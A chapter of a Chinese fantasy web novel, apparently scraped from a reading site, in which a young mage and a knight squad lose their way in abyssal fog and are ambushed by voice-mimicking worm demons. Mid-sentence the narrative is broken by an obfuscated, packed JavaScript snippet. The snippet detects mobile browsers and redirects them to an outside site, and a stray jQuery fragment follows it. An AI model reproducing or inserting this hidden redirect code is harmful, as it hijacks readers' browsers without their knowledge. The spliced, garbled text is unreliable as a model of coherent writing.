这跟露兹他们院徽上的咒纹一样,都会在佩戴者受到伤害时自动激发,此时发热就意味着它已经开始起效。
“保护咒纹被触发了。”几人站起来,手按到剑柄上,四处警惕地打量。
可眼下风平浪静,既没有魔兽,也没有恶魔,没有任何来自敌人的攻击,它们怎么会起效呢?
这种情况,在场的恐怕露兹最有经验了,当初在河谷镇,院徽也是自动触发保护。
她起身靠近洞口往外打量,提醒众人,“外面的雾气一直都是这么浓郁的吗?”
几名骑士恍然大悟,赶忙凑到洞口,原本清朗的森林果然已经被一片白茫茫的雾气笼罩。
“这是深渊气息?”艾拉惊骇地问,“竟然蔓延到了这里?”
他们所处虽然也是核心区域,但已经靠近边缘,由此可见深渊气息至少是将森林核心区这一块都占据了。
“恐怕是的。”维克面色凝重地说,他的目光投向露兹和克雷尔,骑士的盔甲上都会标配一个保护咒纹,眼下这两个小法师怎么办?
深渊气息吸多了容易加深感染,可他们谁也没有多的能匀出来。
“我有保护咒纹,”克雷尔平静地说,不知道是真是假。
“我也,”露兹赶忙顺口道,其实她什么都没有,但深渊气息对她来说没什么影响,就当多吸了点雾霾。
维克顿时松了口气,这两个法师是加拉德的学生,万一出了事,之后被问起的话很难交代,现在两人各自有保护咒纹是最好的。
众人纷纷点头,除了艾拉,她狐疑地瞥了眼露兹,依稀记得刚才给她做检查时并没有发现什么保护咒纹的载具。
露兹对上女骑士怀疑的目光,心下一惊,差点把这茬给忘了。
她面色不变,自然地指了指黑石耳钉,示意咒纹刻在上面。
女骑士这才恍然大悟,微笑地点点头。
“这雾笼罩范围多大?”
“看不到清晰的边界,恐怕不小。”
“等不到天亮了。”维克下论断说,所有人顿时心里一沉。
但这次没人再反对,因为保护咒纹里储藏的魔力有限,到时间出不去,他们还是死路一条。想到被深度污染后异化的丑陋模样,众人心底不觉悚然。
维克令几个骑士解下装饰用的腰带,系在一起,7人分别拿一段排成一队。
“这样就可以最大程度保证不走散。”维克说。
大家都明白,在黑森林核心区,而且是在这么大的雾气里,走散基本就是死路一条。
“跟着标记走,”维克对打头的骑士嘱咐道,他是队里方向感最好的。他后面是维克和泰勒,再后面是保护在中间的克雷尔和露兹,露兹后面是艾拉和另外一个骑士。
“以防迷路,骑士团一般都会在进陌生区域时做随行标记,”艾拉在露兹身后小声解释道。
外面的雾气已经很浓郁了,再加上本来就是深夜,几人迈出洞口后瞬间就陷入了一片漆黑的雾茫茫之中。
以防吸引来什么难缠的恶魔,露兹强行压下深渊魔法运转,保持人类的视野。
露兹已经看不清前面克雷尔的背影,即使她知道两人间其实只有一臂距离远。她紧紧捏着蓝色的腰带,此时它紧绷着,前后端都延伸进雾气中,看起来就像凭空漂浮着一样。
雾气笼罩下的森林实在太安静了,几乎只能听见他们这队人踩过腐叶的声音。
不一会,队伍就碰见了第一棵记号树。标记非常容易辨认,不像露兹想象的那么隐秘。一朵用利刃刻出的简笔玫瑰,刻痕处外翻着雪白的木屑,不用非常费力就能发现。
露兹多看了两眼记下,但心底隐隐觉得这方法有个弊端。她迟疑道,“要是有其他人仿刻了标记……”
“这哪里有人类,”是泰勒的声音,他觉得法师,特别是女法师太唧唧歪歪,又弱又脆,还事多。他不耐烦地打断露兹的话,想也不想地说,“只有一群魔兽,难道畜牲们还能聪明到仿刻标记吗?”
其他人都保持沉默,似乎是认同泰勒的话,又或是不敢去想这种可能的发生,因为标记现在是他们走出雾气唯一的救命稻草。
此时一点动静都可能引来恶魔或发疯失智的魔兽,不是大声争论的好时候。露兹暂且按下不表,但每次经过标记的时候都会更仔细检查,可惜在她这个不熟的人看来,每个标记都长得差不多。
她暗暗希望是自己想多了,但走了好一会之后,他们仍旧陷在无边无际的雾气中,这让众人隐隐觉得不安起来。
“我们在兜圈子。”突然有人出声,露兹辨认出是身后的艾拉。
“不可能!”队伍最前面带路的骑士立即叫道,“我一直是在跟着标记走!”
露兹紧抿嘴唇,深吸口气说,“能再看看一路的标记都是骑士团刻的吗?”
队伍又陷入了沉默。最开始他们还对这个猜测不以为然,可此时,这个恐怖的可能正在变成现实,容不得他们再怀侥幸。
队伍继续走了一会停下,这是带路的骑士发现标记正在查看。
可这次他看了很久都没说话,直到队伍中发出焦躁不安的窸窣声。
“这怎么可能……”带头骑士的喃喃声响起,里面带着不敢置信和惊恐,随后声音几乎恐惧到有些变音,“我们死定了……”
“别胡说。”维克的声音还算镇静,随后有树叶踩踏声响起,是他走上前去二次察看。
露兹下意识默数步数,一、二、三,差不多就是一臂身距。
“你是谁?”维克陡然厉声询问。
这话像落进油里的水滴,队伍骤然慌乱起来,再管不了会不会惊动魔兽的事。
“维克,发生了什么?”
“怎么了?”
突然一声尖叫从队末传来,同时手里的腰带猛地往后一抽,露兹被带着往后踉跄了几步。按理来说她身后是艾拉,可露兹却发现自己撞在了一个冰冷坚硬的东西上面。
然而更让露兹感到惊惧的是,那个显然不是“艾拉”的东西竟然发出了艾拉的声音,“有突袭!”
同时它张开锋利的口器咬向露兹,虽然她已经用最快的速度
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784747|154665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闪身躲避,但那根肉管一样,能自由伸缩的口器还是在露兹的腰侧撕开了一长条口子。
这些能模仿他们声音的恶魔不知道混进来了多少,眼下雾气中伸手不见五指,根本没法分辨哪些是真的需要救援的队友,哪些又是浑水摸鱼的敌人。
露兹躲闪时恰好摸到一棵大树,她背靠树,一手紧紧捂着伤口,深渊魔法在体内流转起来,视线开始逐渐变得清晰,两条巨型蚯蚓陡然出现在眼前,还有已经完全散乱了的队伍。
恶魔看上去行动很不便,只原地竖起滚圆肥胖的前半身,圆形的脸像一朵开合的菊花,朝最近的骑士发出维克的声音,“救命!”
“维克?”那骑士应声走去,不知道前面几步远就是满是锋利毒牙组合成的菊花脸,那也是露兹刚才撞到的部位。
菊花已经微微打开,一条长长的肉管从里面伸出,尖端是一个钩状毒牙,还在不断滴着毒液。恶魔盯着慢慢走近的骑士,条状肉管隆起,蓄势待发。
露兹有心想出声提醒,但现在光是呼吸,腰侧的伤口都会被一同扯得钻心地痛。她抬起手尝试施法,这时候才发觉空气中的魔法元素十分稀薄,反而是深渊魔法变得格外活跃。
真是稀奇,地表魔法与深渊魔法,两者相互排斥,在某些时候却又能相互转化。
露兹啧叹了下,手上不停,身前的雾气逐渐搅动起来,扭转成一道最简单的屏障隔在骑士和恶魔之间,恰好挡下了飞扑而至的肉管口器,毒牙前端甚至已经没入了雾气墙中,离骑士只有一指就能刺穿他的腹部。
那人还没有发现悄然而至的口器,仍然傻站在原地,满脸困惑地敲击空气墙,朝恶魔大声喊,“维克?你怎么了?”
露兹被这大傻瓜的迟钝激得一口气没提上来,暗道此人不会是走后门才进的皇家骑士团的编制吧?
她还不知道自己一举就猜中了真相,皇家骑士团里确实有许多无法继承家业的贵族次子被塞进去镀金。像这次屠龙,听上去危险重重,但仔细看配置,带头的是魔导士加拉德大法师,还有一队名副其实的高级剑士随行。
他们几个尾随的中级剑士全都是塞进来蹭功劳的贵族子弟,这也是骑士团高层和贵族间心照不宣的做法,谁知道深渊气息突然外涌,原本最安全的留守大后方瞬间变成了夺命24h。
组成屏障的雾气瞬间像潮水般朝骑士涌去,后者被巨大的推力莫名带着往后,嘴里还吱哩哇啦地乱叫,接着就被雾气直接粗鲁地堵住了嘴。
被未知的力量堵嘴,还动弹不得地往后,往不知名的地方拖去,泰勒一时间觉得自己肯定是死定了,胀红的脸上满是恐惧和绝望。
神啊,只要现在有人能救自己,让他当即认爹都行!
泰勒在绝望之中祈祷,突然,钳制他的冰冷力道竟然真的松开了。
他心下一喜,当即就要爬起来朝前逃跑,谁知下一秒嘴上就被一只柔软温暖的手紧紧捂住。泰勒愣了下,抬头一看,发现竟然是那个自己一直瞧不上的年轻女法师。
所以,他刚才祈祷的内容是什么来着?